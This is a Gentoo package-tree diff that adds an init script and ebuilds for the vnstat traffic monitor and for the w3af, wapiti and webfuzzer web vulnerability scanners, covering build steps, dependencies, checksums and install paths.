+#!/sbin/runscript
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+extra_started_commands="reload"
+
+depend() {
+ use net
+}
+
+VNSTATD_PIDFILE="${VNSTATD_PIDFILE:-/run/vnstatd/vnstatd.pid}"
+
+start() {
+ ebegin "Starting vnstatd"
+ checkpath -q -d -m 755 -o vnstat:vnstat /run/vnstatd
+ checkpath -q -d -m 755 -o vnstat:vnstat /var/lib/vnstat
+ start-stop-daemon --start --quiet \
+ --pidfile "${VNSTATD_PIDFILE}" \
+ --user vnstat --group vnstat \
+ --nicelevel ${VNSTATD_NICELEVEL:-0} \
+ --exec /usr/bin/vnstatd -- \
+ -d ${VNSTATD_EXTRAOPTS} -p ${VNSTATD_PIDFILE}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping vnstatd"
+ start-stop-daemon --stop --quiet \
+ --pidfile "${VNSTATD_PIDFILE}"
+ eend $?
+}
+
+reload() {
+ ebegin "Reloading vnstatd configuration"
+ kill -HUP $(cat "${VNSTATD_PIDFILE}") 2>&1 >/dev/null
+ eend $?
+}
diff --git a/net-analyzer/vnstat/metadata.xml b/net-analyzer/vnstat/metadata.xml
new file mode 100644
index 000000000000..ff2cafb5d05e
--- /dev/null
+++ b/net-analyzer/vnstat/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+<longdescription>
+ vnStat is a network traffic monitor for Linux that keeps a log of daily
+ network traffic for the selected interface(s). vnStat isn't a packet sniffer.
+ The traffic information is analyzed from the /proc filesystem. That way vnStat
+ can be used even without root permissions.
+</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/vnstat/vnstat-1.11-r2.ebuild b/net-analyzer/vnstat/vnstat-1.11-r2.ebuild
new file mode 100644
index 000000000000..0b20d76df83d
--- /dev/null
+++ b/net-analyzer/vnstat/vnstat-1.11-r2.ebuild
@@ -0,0 +1,78 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs user
+
+DESCRIPTION="Console-based network traffic monitor that keeps statistics of network usage"
+HOMEPAGE="http://humdi.net/vnstat/"
+SRC_URI="http://humdi.net/vnstat/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 arm hppa ppc ppc64 sparc x86"
+IUSE="gd"
+
+DEPEND="
+ gd? ( media-libs/gd[png] )"
+RDEPEND="${DEPEND}"
+
+pkg_setup() {
+ enewgroup vnstat
+ enewuser vnstat -1 -1 /dev/null vnstat
+}
+
+src_compile() {
+ sed -i 's:vnstat[.]log:vnstatd.log:' cfg/vnstat.conf || die
+ sed -i 's:vnstat[.]pid:vnstatd/vnstatd.pid:' cfg/vnstat.conf || die
+
+ emake CC="$(tc-getCC)" CFLAGS="${CFLAGS}" $(usex gd all '')
+}
+
+src_install() {
+ use gd && dobin src/vnstati
+ dobin src/vnstat src/vnstatd
+ exeinto /etc/cron.hourly
+ newexe "${FILESDIR}"/vnstat.cron vnstat
+
+ insinto /etc
+ doins cfg/vnstat.conf
+ fowners root:vnstat /etc/vnstat.conf
+
+ newconfd "${FILESDIR}"/vnstatd.confd vnstatd
+ newinitd "${FILESDIR}"/vnstatd.initd vnstatd
+
+ keepdir /var/lib/vnstat
+ fowners vnstat:vnstat /var/lib/vnstat
+
+ use gd && doman man/vnstati.1
+ doman man/vnstat.1 man/vnstatd.1
+
+ newdoc examples/vnstat_ip-up ip-up.example
+ newdoc examples/vnstat_ip-down ip-down.example
+ newdoc INSTALL README.setup
+ dodoc CHANGES README UPGRADE FAQ examples/vnstat.cgi
+}
+
+pkg_postinst() {
+ # Workaround feature/bug #141619
+ chown -R vnstat:vnstat "${ROOT}"/var/lib/vnstat
+ chown vnstat:vnstat "${ROOT}"/var/run/vnstatd
+ ewarn "vnStat db files owning user and group has been changed to \"vnstat\"."
+
+ elog
+ elog "Repeat the following command for every interface you"
+ elog "wish to monitor (replace eth0):"
+ elog " vnstat -u -i eth0"
+ elog "and set correct permissions after that, e.g."
+ elog " chown -R vnstat:vnstat /var/lib/vnstat"
+ elog
+ elog "Note: if an interface transfers more than ~4GB in"
+ elog "the time between cron runs, you may miss traffic"
+ elog
+ elog "To update the interfaces database automatically with cron, uncomment"
+ elog "lines in /etc/cron.hourly/vnstat and set cron job to run it as"
+ elog "frequently as required. Alternatively you can use vnstatd. Init script"
+ elog "was installed into /etc/init.d/vnstatd for your convenience."
+}
diff --git a/net-analyzer/vnstat/vnstat-1.12.ebuild b/net-analyzer/vnstat/vnstat-1.12.ebuild
new file mode 100644
index 000000000000..a35b06920ea2
--- /dev/null
+++ b/net-analyzer/vnstat/vnstat-1.12.ebuild
@@ -0,0 +1,85 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs user
+
+DESCRIPTION="Console-based network traffic monitor that keeps statistics of network usage"
+HOMEPAGE="http://humdi.net/vnstat/"
+SRC_URI="http://humdi.net/vnstat/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~hppa ~ppc ~ppc64 ~sparc ~x86"
+IUSE="gd selinux"
+
+DEPEND="
+ gd? ( media-libs/gd[png] )
+"
+RDEPEND="
+ ${DEPEND}
+ selinux? ( sec-policy/selinux-vnstatd )
+"
+
+pkg_setup() {
+ enewgroup vnstat
+ enewuser vnstat -1 -1 /dev/null vnstat
+}
+
+src_prepare() {
+ tc-export CC
+}
+
+src_compile() {
+ sed -i 's:vnstat[.]log:vnstatd.log:' cfg/vnstat.conf || die
+ sed -i 's:vnstat[.]pid:vnstatd/vnstatd.pid:' cfg/vnstat.conf || die
+
+ emake CFLAGS="${CFLAGS}" $(usex gd all '')
+}
+
+src_install() {
+ use gd && dobin src/vnstati
+ dobin src/vnstat src/vnstatd
+
+ exeinto /etc/cron.hourly
+ newexe "${FILESDIR}"/vnstat.cron vnstat
+
+ insinto /etc
+ doins cfg/vnstat.conf
+ fowners root:vnstat /etc/vnstat.conf
+
+ newconfd "${FILESDIR}"/vnstatd.confd vnstatd
+ newinitd "${FILESDIR}"/vnstatd.initd vnstatd
+
+ keepdir /var/lib/vnstat
+ fowners vnstat:vnstat /var/lib/vnstat
+
+ use gd && doman man/vnstati.1
+ doman man/vnstat.1 man/vnstatd.1
+
+ newdoc INSTALL README.setup
+ dodoc CHANGES README UPGRADE FAQ examples/vnstat.cgi
+}
+
+pkg_postinst() {
+ # Workaround feature/bug #141619
+ chown -R vnstat:vnstat "${ROOT}"/var/lib/vnstat
+ chown vnstat:vnstat "${ROOT}"/var/run/vnstatd
+ ewarn "vnStat db files owning user and group has been changed to \"vnstat\"."
+
+ elog
+ elog "Repeat the following command for every interface you"
+ elog "wish to monitor (replace eth0):"
+ elog " vnstat -u -i eth0"
+ elog "and set correct permissions after that, e.g."
+ elog " chown -R vnstat:vnstat /var/lib/vnstat"
+ elog
+ elog "Note: if an interface transfers more than ~4GB in"
+ elog "the time between cron runs, you may miss traffic"
+ elog
+ elog "To update the interfaces database automatically with cron, uncomment"
+ elog "lines in /etc/cron.hourly/vnstat and set cron job to run it as"
+ elog "frequently as required. Alternatively you can use vnstatd. Init script"
+ elog "was installed into /etc/init.d/vnstatd for your convenience."
+}
diff --git a/net-analyzer/vnstat/vnstat-1.13.ebuild b/net-analyzer/vnstat/vnstat-1.13.ebuild
new file mode 100644
index 000000000000..5840253e7f48
--- /dev/null
+++ b/net-analyzer/vnstat/vnstat-1.13.ebuild
@@ -0,0 +1,70 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs user
+
+DESCRIPTION="Console-based network traffic monitor that keeps statistics of network usage"
+HOMEPAGE="http://humdi.net/vnstat/"
+SRC_URI="http://humdi.net/vnstat/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 arm hppa ppc ppc64 sparc x86"
+IUSE="gd selinux test"
+
+COMMON_DEPEND="
+ gd? ( media-libs/gd[png] )
+"
+DEPEND="
+ ${COMMON_DEPEND}
+ test? ( dev-libs/check )
+"
+RDEPEND="
+ ${COMMON_DEPEND}
+ selinux? ( sec-policy/selinux-vnstatd )
+"
+
+pkg_setup() {
+ enewgroup vnstat
+ enewuser vnstat -1 -1 /dev/null vnstat
+}
+
+src_prepare() {
+ tc-export CC
+
+ sed -i \
+ -e 's|vnstat[.]log|vnstatd.log|' \
+ -e 's|vnstat[.]pid|vnstatd/vnstatd.pid|' \
+ -e 's|/var/run|/run|' \
+ cfg/${PN}.conf || die
+ sed -i \
+ -e '/PIDFILE/s|/var/run|/run|' \
+ src/common.h || die
+}
+
+src_compile() {
+ emake CFLAGS="${CFLAGS}" $(usex gd all '')
+}
+
+src_install() {
+ use gd && dobin src/vnstati
+ dobin src/vnstat src/vnstatd
+
+ exeinto /etc/cron.hourly
+ newexe "${FILESDIR}"/vnstat.cron vnstat
+
+ insinto /etc
+ doins cfg/vnstat.conf
+ fowners root:vnstat /etc/vnstat.conf
+
+ newconfd "${FILESDIR}"/vnstatd.confd vnstatd
+ newinitd "${FILESDIR}"/vnstatd.initd-r1 vnstatd
+
+ use gd && doman man/vnstati.1
+ doman man/vnstat.1 man/vnstatd.1
+
+ newdoc INSTALL README.setup
+ dodoc CHANGES README UPGRADE FAQ examples/vnstat.cgi
+}
diff --git a/net-analyzer/vnstat/vnstat-1.14.ebuild b/net-analyzer/vnstat/vnstat-1.14.ebuild
new file mode 100644
index 000000000000..53ea375992ae
--- /dev/null
+++ b/net-analyzer/vnstat/vnstat-1.14.ebuild
@@ -0,0 +1,70 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit toolchain-funcs user
+
+DESCRIPTION="Console-based network traffic monitor that keeps statistics of network usage"
+HOMEPAGE="http://humdi.net/vnstat/"
+SRC_URI="http://humdi.net/vnstat/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~hppa ~ppc ~ppc64 ~sparc ~x86"
+IUSE="gd selinux test"
+
+COMMON_DEPEND="
+ gd? ( media-libs/gd[png] )
+"
+DEPEND="
+ ${COMMON_DEPEND}
+ test? ( dev-libs/check )
+"
+RDEPEND="
+ ${COMMON_DEPEND}
+ selinux? ( sec-policy/selinux-vnstatd )
+"
+
+pkg_setup() {
+ enewgroup vnstat
+ enewuser vnstat -1 -1 /dev/null vnstat
+}
+
+src_prepare() {
+ tc-export CC
+
+ sed -i \
+ -e 's|vnstat[.]log|vnstatd.log|' \
+ -e 's|vnstat[.]pid|vnstatd/vnstatd.pid|' \
+ -e 's|/var/run|/run|' \
+ cfg/${PN}.conf || die
+ sed -i \
+ -e '/PIDFILE/s|/var/run|/run|' \
+ src/common.h || die
+}
+
+src_compile() {
+ emake CFLAGS="${CFLAGS}" $(usex gd all '')
+}
+
+src_install() {
+ use gd && dobin src/vnstati
+ dobin src/vnstat src/vnstatd
+
+ exeinto /etc/cron.hourly
+ newexe "${FILESDIR}"/vnstat.cron vnstat
+
+ insinto /etc
+ doins cfg/vnstat.conf
+ fowners root:vnstat /etc/vnstat.conf
+
+ newconfd "${FILESDIR}"/vnstatd.confd vnstatd
+ newinitd "${FILESDIR}"/vnstatd.initd-r1 vnstatd
+
+ use gd && doman man/vnstati.1
+ doman man/vnstat.1 man/vnstatd.1
+
+ newdoc INSTALL README.setup
+ dodoc CHANGES README UPGRADE FAQ examples/vnstat.cgi
+}
diff --git a/net-analyzer/w3af/Manifest b/net-analyzer/w3af/Manifest
new file mode 100644
index 000000000000..38be583e095d
--- /dev/null
+++ b/net-analyzer/w3af/Manifest
@@ -0,0 +1,2 @@
+DIST w3af-1.1.tar.bz2 39994121 SHA256 0bf3cec513931b9bf20e6f753dedeaab57b5cad303489ab9ff365786c04d9444 SHA512 9a6c7d474d61f9039c150b44d4c6027451d58e925e47083262105f62b0fca718373103015e3f5bbed1cb89a40c9c057d3d54ce0c533ad3cc90e8ff24e193f868 WHIRLPOOL cb5d0d7bc9096ae27e5597e5dfd2963e03e0b7f4939fb0583ef61d2dec0c8b595ccbfb3e43f4ed170cb8ac79a74f654a5502eeb5d590138f43cfd7cdbe3e4e1f
+DIST w3af-1.5.tar.gz 31147412 SHA256 ce3ac0c5a1c1ae4f8aba012619e400558bf33b77080af61a9756d615883c523f SHA512 5b0b83e36b35883bd78fe990e9e5f0c955e49a22421d8eee4ec877cda842e79c8af0b490f0927ea253bdd60b957fbacf7ad1116e2c3d93023f160691aa50ce7e WHIRLPOOL 79662c1bbf05b825aa5251b43f98ebe118780d456e3dab8368d51c055792c435435cc245ec6d5f897c49a6445e90503d8917a7aa4ef3af6d87c5dcdf3a287b47
diff --git a/net-analyzer/w3af/files/use_simplejson_instead_of_jsonpy.patch b/net-analyzer/w3af/files/use_simplejson_instead_of_jsonpy.patch
new file mode 100644
index 000000000000..306c24a59f8a
--- /dev/null
+++ b/net-analyzer/w3af/files/use_simplejson_instead_of_jsonpy.patch
@@ -0,0 +1,105 @@
+--- ./core/controllers/misc/dependencyCheck.py.old 2010-10-19 09:58:19.000000000 +0200
++++ ./core/controllers/misc/dependencyCheck.py 2010-10-19 09:58:32.000000000 +0200
+@@ -95,15 +95,6 @@
+ except:
+ print 'You have to install pyPdf lib. Debian based distributions: apt-get install python-pypdf'
+ sys.exit( 1 )
+-
+- try:
+- from extlib.jsonpy import json as json
+- except:
+- try:
+- import json
+- except:
+- print 'You have to install python-json lib. Debian based distributions: apt-get install python-json'
+- sys.exit( 1 )
+
+ try:
+ from OpenSSL import SSL
+--- core/data/fuzzer/fuzzer.py.old 2010-10-19 10:00:59.000000000 +0200
++++ core/data/fuzzer/fuzzer.py 2010-10-19 10:02:14.000000000 +0200
+@@ -38,9 +38,9 @@
+ from core.data.dc.cookie import cookie as cookie
+ from core.data.dc.dataContainer import dataContainer as dc
+ try:
+- from extlib.jsonpy import json as json
++ import extlib.simplejson as json
+ except:
+- import json
++ import simplejson as json
+ from core.data.request.httpPostDataRequest import httpPostDataRequest
+ from core.data.request.httpQsRequest import httpQsRequest
+
+@@ -210,7 +210,7 @@
+
+ # Now, fuzz the parsed JSON data...
+ postdata = freq.getData()
+- jsonPostData = json.read( postdata )
++ jsonPostData = json.loads( postdata )
+ return _makeMutants( freq, mutantClass, mutant_str_list, fuzzableParamList , append, jsonPostData )
+
+ def isJSON( freq ):
+@@ -222,7 +222,7 @@
+ # We have something that's not URL encoded in the postdata, it could be something
+ # like JSON, XML, or multipart encoding. Let's try with JSON
+ try:
+- jsonPostData = json.read( postdata )
++ jsonPostData = json.loads( postdata )
+ except:
+ # It's not json, maybe XML or multipart, I don't really care ( at least not in this section of the code )
+ return False
+--- core/data/request/frFactory.py.old 2010-10-19 10:03:50.000000000 +0200
++++ core/data/request/frFactory.py 2010-10-19 10:04:38.000000000 +0200
+@@ -37,9 +37,9 @@
+
+ # for json
+ try:
+- from extlib.jsonpy import json as json
++ import extlib.simplejson as json
+ except:
+- import json
++ import simplejson as json
+
+ from core.controllers.w3afException import w3afException
+ import core.controllers.outputManager as om
+@@ -200,7 +200,7 @@
+ # Case #2, JSON request
+ #
+ try:
+- dc = json.read( postData )
++ dc = json.loads( postData )
+ except:
+ pass
+ else:
+--- core/data/request/jsonPostDataRequest.py.old 2010-10-19 10:12:22.000000000 +0200
++++ core/data/request/jsonPostDataRequest.py 2010-10-19 10:15:05.000000000 +0200
+@@ -25,9 +25,9 @@
+ from core.data.request.httpPostDataRequest import httpPostDataRequest
+ import core.data.dc.dataContainer as dc
+ try:
+- from extlib.jsonpy import json as json
++ import extlib.simplejson as json
+ except:
+- import json
++ import simplejson
+
+ class jsonPostDataRequest(httpPostDataRequest):
+ '''
+@@ -43,7 +43,7 @@
+ '''
+ @return: A string that represents the JSON data saved in the dc.
+ '''
+- res = json.write(self._dc)
++ res = json.dumps(self._dc)
+ return res
+
+ def __str__( self ):
+@@ -54,7 +54,7 @@
+ strRes += self._url
+ strRes += ' | Method: ' + self._method
+ strRes += ' | JSON: ('
+- strRes += json.write(self._dc)
++ strRes += json.dumps(self._dc)
+ strRes += ')'
+ return strRes
+
diff --git a/net-analyzer/w3af/files/w3af_console b/net-analyzer/w3af/files/w3af_console
new file mode 100644
index 000000000000..93212cefb237
--- /dev/null
+++ b/net-analyzer/w3af/files/w3af_console
@@ -0,0 +1,3 @@
+#!/bin/sh
+cd /usr/lib/w3af
+./w3af_console $*
diff --git a/net-analyzer/w3af/files/w3af_gui b/net-analyzer/w3af/files/w3af_gui
new file mode 100644
index 000000000000..41f4802e3ae1
--- /dev/null
+++ b/net-analyzer/w3af/files/w3af_gui
@@ -0,0 +1,3 @@
+#!/bin/sh
+cd /usr/lib/w3af
+./w3af_gui $*
diff --git a/net-analyzer/w3af/metadata.xml b/net-analyzer/w3af/metadata.xml
new file mode 100644
index 000000000000..ea60feff633f
--- /dev/null
+++ b/net-analyzer/w3af/metadata.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>proxy-maintainers</herd>
+ <maintainer>
+ <email>clabbe.montjoie@gmail.com</email>
+ <name>LABBE Corentin (Montjoie)</name>
+ <description>Maintainer. Assign bugs to him</description>
+ </maintainer>
+ <longdescription lang="en">
+</longdescription>
+ <upstream>
+ <remote-id type="github">andresriancho/w3af</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/w3af/w3af-1.1-r1.ebuild b/net-analyzer/w3af/w3af-1.1-r1.ebuild
new file mode 100644
index 000000000000..25f30027ca3e
--- /dev/null
+++ b/net-analyzer/w3af/w3af-1.1-r1.ebuild
@@ -0,0 +1,71 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python2_7 )
+PYTHON_REQ_USE="sqlite"
+
+inherit multilib python-single-r1 versionator
+
+MY_P=${PN}-"$(replace_version_separator 2 '-')"
+
+DESCRIPTION="Web Application Attack and Audit Framework"
+HOMEPAGE="http://w3af.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="doc gtk"
+
+RDEPEND="
+ >=dev-python/fpconst-0.7.2[${PYTHON_USEDEP}]
+ dev-python/lxml[${PYTHON_USEDEP}]
+ dev-python/nltk[${PYTHON_USEDEP}]
+ dev-python/pybloomfiltermmap[${PYTHON_USEDEP}]
+ dev-python/pyopenssl[${PYTHON_USEDEP}]
+ dev-python/pyPdf[${PYTHON_USEDEP}]
+ dev-python/python-cluster[${PYTHON_USEDEP}]
+ dev-python/pyyaml[${PYTHON_USEDEP}]
+ dev-python/simplejson[${PYTHON_USEDEP}]
+ dev-python/soappy[${PYTHON_USEDEP}]
+ dev-python/pysvn[${PYTHON_USEDEP}]
+ || (
+ net-analyzer/gnu-netcat
+ net-analyzer/netcat
+ net-analyzer/netcat6
+ )
+ >=net-analyzer/scapy-2
+ gtk? (
+ media-gfx/graphviz
+ >dev-python/pygtk-2.0
+ dev-python/pygtksourceview
+ )"
+
+REQUIRED_USE="${PYTHON_REQUIRED_USE}"
+
+S=${WORKDIR}/${PN}
+
+src_prepare(){
+ rm -r extlib/{cluster,fpconst-0.7.2,pyPdf,SOAPpy,yaml} || die
+ sed -i 's,extlib.pyPdf.,,' core/data/parsers/pdfParser.py || die
+ rm readme/{GPL,INSTALL} || die
+ rm plugins/attack/payloads/code/netcat || die #bug 349780
+ esvn_clean
+}
+
+src_install() {
+ insinto /usr/$(get_libdir)/w3af
+ doins -r core extlib locales plugins profiles scripts tools w3af_gui w3af_console
+ fperms +x /usr/$(get_libdir)/w3af/w3af_{gui,console}
+ dobin "${FILESDIR}"/w3af_console
+ use gtk && dobin "${FILESDIR}"/w3af_gui
+ #use flag doc is here because doc is bigger than 3 Mb
+ if use doc ; then
+ insinto /usr/share/doc/${PF}/
+ doins -r readme/*
+ fi
+ python_fix_shebang "${ED}"usr/$(get_libdir)/${PN}
+}
diff --git a/net-analyzer/w3af/w3af-1.5.ebuild b/net-analyzer/w3af/w3af-1.5.ebuild
new file mode 100644
index 000000000000..ae6158f1434d
--- /dev/null
+++ b/net-analyzer/w3af/w3af-1.5.ebuild
@@ -0,0 +1,77 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python2_7 )
+PYTHON_REQ_USE="sqlite"
+
+inherit multilib python-single-r1
+
+DESCRIPTION="Web Application Attack and Audit Framework"
+HOMEPAGE="http://w3af.sourceforge.net/"
+SRC_URI="https://github.com/andresriancho/${PN}/archive/${PV}.tar.gz -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+IUSE="doc gtk"
+
+#w3af seems to ship sqlmap? maybe we should split this out...
+
+QA_PREBUILT="
+ usr/$(get_libdir)/${PN}/plugins/attack/db/sqlmap/udf/mysql/linux/32/lib_mysqludf_sys.so
+ usr/$(get_libdir)/${PN}/plugins/attack/db/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so
+ usr/$(get_libdir)/${PN}/plugins/attack/db/sqlmap/udf/postgresql/linux/*/8.2/lib_postgresqludf_sys.so
+ usr/$(get_libdir)/${PN}/plugins/attack/db/sqlmap/udf/postgresql/linux/*/8.3/lib_postgresqludf_sys.so
+ usr/$(get_libdir)/${PN}/plugins/attack/db/sqlmap/udf/postgresql/linux/*/8.4/lib_postgresqludf_sys.so
+ usr/$(get_libdir)/${PN}/plugins/attack/db/sqlmap/udf/postgresql/linux/*/9.0/lib_postgresqludf_sys.so"
+
+RDEPEND="
+ >=dev-python/fpconst-0.7.2[${PYTHON_USEDEP}]
+ dev-python/lxml[${PYTHON_USEDEP}]
+ dev-python/nltk[${PYTHON_USEDEP}]
+ dev-python/pybloomfiltermmap[${PYTHON_USEDEP}]
+ dev-python/pyopenssl[${PYTHON_USEDEP}]
+ dev-python/pyPdf[${PYTHON_USEDEP}]
+ dev-python/python-cluster[${PYTHON_USEDEP}]
+ dev-python/pyyaml[${PYTHON_USEDEP}]
+ dev-python/simplejson[${PYTHON_USEDEP}]
+ dev-python/soappy[${PYTHON_USEDEP}]
+ dev-python/pysvn[${PYTHON_USEDEP}]
+ || (
+ net-analyzer/gnu-netcat
+ net-analyzer/netcat
+ net-analyzer/netcat6
+ )
+ >=net-analyzer/scapy-2
+ gtk? (
+ media-gfx/graphviz
+ >dev-python/pygtk-2.0
+ dev-python/pygtksourceview
+ )"
+
+REQUIRED_USE="${PYTHON_REQUIRED_USE}"
+
+src_prepare(){
+ rm doc/{GPL,INSTALL} || die
+}
+
+src_install() {
+ insinto /usr/$(get_libdir)/${PN}
+ doins -r core locales plugins profiles scripts tools w3af_gui w3af_console
+ fperms +x /usr/$(get_libdir)/${PN}/${PN}_{gui,console}
+ dobin "${FILESDIR}"/${PN}_console
+ if use gtk ; then
+ dobin "${FILESDIR}"/${PN}_gui
+ else
+ rm "${ED}"/usr/$(get_libdir)/${PN}/w3af_gui
+ fi
+ #use flag doc is here because doc is bigger than 3 Mb
+ if use doc ; then
+ insinto /usr/share/doc/${PF}/
+ doins -r doc/*
+ fi
+ python_fix_shebang "${ED}"usr/$(get_libdir)/${PN}
+}
diff --git a/net-analyzer/wapiti/Manifest b/net-analyzer/wapiti/Manifest
new file mode 100644
index 000000000000..aae5a8812205
--- /dev/null
+++ b/net-analyzer/wapiti/Manifest
@@ -0,0 +1 @@
+DIST wapiti-2.3.0.tar.gz 305739 SHA256 6b836a4810f17b7eda4345fb12293112129961ba243140c72a8da0ac2572f4b4 SHA512 a72e87f4c2aec3884d5de7018c7fe1ab32721fc86420167c0b7636f31d9718661c787ff3d4ee66cc27e3932497543d0324b0bd238c33ce16f41f39213c119af2 WHIRLPOOL 29944978e7a497951eb4355d7818c4596316d1862c63c8d33e5cb0e9131ad418964e1fc7a6e04423201144ec67774c8ef8ae6d9e1d1bca1eb9eeea6ed6a964d4
diff --git a/net-analyzer/wapiti/metadata.xml b/net-analyzer/wapiti/metadata.xml
new file mode 100644
index 000000000000..bd38de902c9a
--- /dev/null
+++ b/net-analyzer/wapiti/metadata.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>voyageur@gentoo.org</email>
+ <name>Bernard Cafarelli</name>
+ </maintainer>
+ <longdescription>Wapiti allows you to audit the security of your web applications.
+
+It performs black-box scans, i.e. it does not study the source code of the application but will scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data.
+
+Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see if a script is vulnerable.</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/wapiti/wapiti-2.3.0.ebuild b/net-analyzer/wapiti/wapiti-2.3.0.ebuild
new file mode 100644
index 000000000000..1dbef430ef56
--- /dev/null
+++ b/net-analyzer/wapiti/wapiti-2.3.0.ebuild
@@ -0,0 +1,23 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python2_7 )
+PYTHON_REQ_USE='xml'
+
+inherit distutils-r1
+
+DESCRIPTION="Web-application vulnerability scanner"
+HOMEPAGE="http://wapiti.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="dev-python/beautifulsoup:python-2[${PYTHON_USEDEP}]
+ >=dev-python/requests-1.2.3[${PYTHON_USEDEP}]"
diff --git a/net-analyzer/wapiti/wapiti-9999.ebuild b/net-analyzer/wapiti/wapiti-9999.ebuild
new file mode 100644
index 000000000000..5bd068c0066a
--- /dev/null
+++ b/net-analyzer/wapiti/wapiti-9999.ebuild
@@ -0,0 +1,24 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python2_7 )
+PYTHON_REQ_USE='xml'
+
+ESVN_REPO_URI="http://svn.code.sourceforge.net/p/wapiti/code/trunk/"
+inherit distutils-r1 subversion
+
+DESCRIPTION="Web-application vulnerability scanner"
+HOMEPAGE="http://wapiti.sourceforge.net/"
+SRC_URI=""
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+DEPEND=""
+RDEPEND="dev-python/beautifulsoup:4[${PYTHON_USEDEP}]
+ >=dev-python/requests-1.2.3[${PYTHON_USEDEP}]"
diff --git a/net-analyzer/webfuzzer/Manifest b/net-analyzer/webfuzzer/Manifest
new file mode 100644
index 000000000000..aa99c9450f28
--- /dev/null
+++ b/net-analyzer/webfuzzer/Manifest
@@ -0,0 +1 @@
+DIST webfuzzer-0.2.0.tar.gz 29664 SHA256 7e9a9ed81a7edab950acb69b8243735a9ff116e7043a9c0b7e55fe96dfd99d3f SHA512 7cb858178dd11e7b6020f2b0db1092462401aab552af6bdb8b8c95c018bd35572a981338226def07dc45ed8f0b5a0b282ad681e9d86bec14d14ffd623518082e WHIRLPOOL ef437fd0fbc3f6f490d16e6f7a9d385ab59f772a7579f0a70f89a54658145d2daab4a89b031146a037a5ed23c71c025d8d048e94f5849b5f6db0c2078b630a3b
diff --git a/net-analyzer/webfuzzer/metadata.xml b/net-analyzer/webfuzzer/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/webfuzzer/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/webfuzzer/webfuzzer-0.2.0-r1.ebuild b/net-analyzer/webfuzzer/webfuzzer-0.2.0-r1.ebuild
new file mode 100644
index 000000000000..ce05818d8cd3
--- /dev/null
+++ b/net-analyzer/webfuzzer/webfuzzer-0.2.0-r1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="Poor man's web vulnerability scanner"
+HOMEPAGE="http://gunzip.altervista.org/g.php?f=projects"
+SRC_URI="http://gunzip.altervista.org/webfuzzer/webfuzzer-${PV}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+
+S=${WORKDIR}/devel
+
+src_prepare() {
+ sed -i Makefile \
+ -e 's|CFLAGS=-g -O3|CFLAGS+=|' \
+ -e 's| -o | $(LDFLAGS)&|g' \
+ || die
+}
+
+src_compile() {
+ emake CC=$(tc-getCC)
+}
+
+src_install() {
+ dodoc CHANGES README TODO
+ dobin webfuzzer
+}
